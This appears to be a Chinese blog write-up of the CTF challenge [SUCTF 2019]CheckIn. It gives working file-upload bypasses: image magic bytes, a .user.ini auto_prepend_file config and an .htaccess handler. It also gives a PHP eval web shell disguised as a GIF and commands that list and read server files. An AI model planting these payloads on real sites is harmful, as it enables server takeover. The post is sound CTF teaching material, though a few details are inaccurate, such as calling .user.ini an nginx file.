题目名称

[SUCTF 2019]CheckIn

本题考点:

  • .user.ini 绕过上传
  • <? 内容过滤绕过
  • exif_imagetype 绕过

# 0x00 exif_imagetype 绕过

我们可以通过给上传脚本加上相应的头字节就可以绕过:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF (相当于文本的 GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47

# 0x01 .user.ini 绕过

.user.ini 是 nginx 下的用户配置文件

用方法很简单,直接写在.user.ini 中:

GIF89a
auto_prepend_file=1.jpg

那么当我们访问此目录下的任何一个文件时,都会去包含 test.jpg

有一篇很详细的文章:.user.ini 详细说明

.htaccess 是 apache 下的用户配置文件

用法如下

GIF89a
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

# 0x02 图片马

有些题会把含 “<?” 的文件和过滤掉,所以我们就换个方法制作图片马

GIF89a?
<script language="php">eval($_POST['a']);</script>

另存为 1.jpg 图片马就写好了

# 0x03 上传,拿 flag

然后就可以用蚁剑连了。但是它会不时的清除文件,所以链接的不是很稳定。

image-20210618211650014

或者直接命令执行

扫描根目录: a=var_dump(scandir("/"));

我们可以可以看见一个叫 flag 的文件
打印 flag: a=var_dump(file_get_contents("/flag"));

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝